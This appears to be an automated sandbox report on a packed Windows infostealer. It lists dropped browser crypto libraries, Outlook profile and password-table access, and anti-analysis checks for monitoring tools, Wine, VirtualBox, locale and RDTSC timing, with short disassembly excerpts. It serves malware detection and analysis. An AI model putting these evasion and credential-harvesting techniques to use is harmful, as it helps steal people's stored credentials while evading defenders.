Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C3AEB	0_2_008C3AEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D92F5	0_2_009D92F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B1204	0_2_009B1204
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AC4F3	0_2_009AC4F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009ADC11	0_2_009ADC11
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A6DB4	0_2_009A6DB4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00897D06	0_2_00897D06
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AF6CF	0_2_009AF6CF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A1F95	0_2_009A1F95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 005E45C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 58 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 45 times

Source: file.exe, 00000000.00000002.2376042588.000000006C8D5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2375752662.000000006C6E2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: fzavhgps ZLIB complexity 0.9947932692307693

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: file.exe, 00000000.00000003.2122152470.00000000051C0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_005F9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_005F3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\4S3DFKOK.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2375944247.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2365232578.000000001DA41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375503386.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2375944247.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2365232578.000000001DA41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375503386.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2375944247.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2365232578.000000001DA41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375503386.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2375944247.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2365232578.000000001DA41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375503386.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2375944247.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2365232578.000000001DA41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375503386.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2375944247.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2365232578.000000001DA41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375503386.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2365232578.000000001DA41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375503386.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2230785037.000000001D948000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2246175812.000000000170F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245836857.000000001D93B000.00000004.00000020.00020000.00000000.sdmp, ECAFHIIJJECGDHIEGDAK.0.dr, KJKJJJECFIEBFHIEGHJD.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2365232578.000000001DA41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375503386.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2365232578.000000001DA41000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375503386.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 44%
Source: file.exe	Virustotal: Detection: 53%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1820672 > 1048576

Source: file.exe

Static PE information: Raw size of fzavhgps is bigger than: 0x100000 < 0x196400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2375944247.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2375944247.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2375703659.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.5e0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fzavhgps:EW;zsfarmsq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fzavhgps:EW;zsfarmsq:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005F9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_005F9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c3932 should be: 0x1c5e49

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: fzavhgps
Source: file.exe	Static PE information: section name: zsfarmsq
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A180A9 push edx; mov dword ptr [esp], 7C92C4ACh	0_2_00A18181
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A60892 push eax; mov dword ptr [esp], edi	0_2_00A608AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D88A5 push 224F11DAh; mov dword ptr [esp], edi	0_2_009D88CA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D88A5 push eax; mov dword ptr [esp], ecx	0_2_009D88EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push edx; mov dword ptr [esp], edi	0_2_009A88AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push edx; mov dword ptr [esp], 6F5603F9h	0_2_009A88B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push 54CBF313h; mov dword ptr [esp], edx	0_2_009A8904
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push edi; mov dword ptr [esp], 2FF34111h	0_2_009A8957
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push edx; mov dword ptr [esp], 570A7F57h	0_2_009A8A5E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push 3BC5D8F2h; mov dword ptr [esp], edx	0_2_009A8B34
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push eax; mov dword ptr [esp], ebx	0_2_009A8C5E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push eax; mov dword ptr [esp], esp	0_2_009A8CBC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push eax; mov dword ptr [esp], esp	0_2_009A8DB4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push ecx; mov dword ptr [esp], 4A03C0B0h	0_2_009A8E3D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push 123E1C0Dh; mov dword ptr [esp], eax	0_2_009A8E7A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push ecx; mov dword ptr [esp], ebp	0_2_009A8EFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push 57895609h; mov dword ptr [esp], ebp	0_2_009A8F7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push ecx; mov dword ptr [esp], eax	0_2_009A8F9D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push eax; mov dword ptr [esp], edi	0_2_009A905D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push esi; mov dword ptr [esp], 7BB85A0Dh	0_2_009A90B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push edi; mov dword ptr [esp], edx	0_2_009A90DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push 1676F043h; mov dword ptr [esp], eax	0_2_009A91B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push ebp; mov dword ptr [esp], esi	0_2_009A92B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push esi; mov dword ptr [esp], eax	0_2_009A92BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push ecx; mov dword ptr [esp], eax	0_2_009A92C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push ebx; mov dword ptr [esp], ebp	0_2_009A92E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push ebp; mov dword ptr [esp], 092E49D7h	0_2_009A93DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push ecx; mov dword ptr [esp], 27127818h	0_2_009A9400
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push 5D7E650Ch; mov dword ptr [esp], edx	0_2_009A940F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push eax; mov dword ptr [esp], esi	0_2_009A94AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A88A1 push 298DA096h; mov dword ptr [esp], ecx	0_2_009A952E

Source: file.exe

Static PE information: section name: fzavhgps entropy: 7.953816232559599

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_005F9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-31457

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84208C second address: 841901 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044DEC45Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jno 00007F8044DEC45Dh 0x00000012 push dword ptr [ebp+122D0E55h] 0x00000018 mov dword ptr [ebp+122D3181h], edx 0x0000001e call dword ptr [ebp+122D30BFh] 0x00000024 pushad 0x00000025 jnc 00007F8044DEC45Ch 0x0000002b xor eax, eax 0x0000002d jp 00007F8044DEC45Ch 0x00000033 pushad 0x00000034 jmp 00007F8044DEC45Bh 0x00000039 add dword ptr [ebp+122D1BFFh], edx 0x0000003f popad 0x00000040 mov edx, dword ptr [esp+28h] 0x00000044 jbe 00007F8044DEC45Ch 0x0000004a mov dword ptr [ebp+122D1BFFh], esi 0x00000050 mov dword ptr [ebp+122D35D7h], eax 0x00000056 add dword ptr [ebp+122D2EE8h], ecx 0x0000005c mov esi, 0000003Ch 0x00000061 add dword ptr [ebp+122D2EE8h], esi 0x00000067 add esi, dword ptr [esp+24h] 0x0000006b add dword ptr [ebp+122D2FC0h], esi 0x00000071 lodsw 0x00000073 sub dword ptr [ebp+122D2FADh], eax 0x00000079 add eax, dword ptr [esp+24h] 0x0000007d xor dword ptr [ebp+122D2EE8h], edi 0x00000083 ja 00007F8044DEC45Ch 0x00000089 mov ebx, dword ptr [esp+24h] 0x0000008d pushad 0x0000008e call 00007F8044DEC462h 0x00000093 jmp 00007F8044DEC469h 0x00000098 pop esi 0x00000099 popad 0x0000009a add dword ptr [ebp+122D2F9Bh], ecx 0x000000a0 nop 0x000000a1 push eax 0x000000a2 push edx 0x000000a3 push eax 0x000000a4 push edx 0x000000a5 pushad 0x000000a6 popad 0x000000a7 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 841901 second address: 841907 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 841907 second address: 84193D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8044DEC465h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8044DEC469h 0x00000012 rdtsc
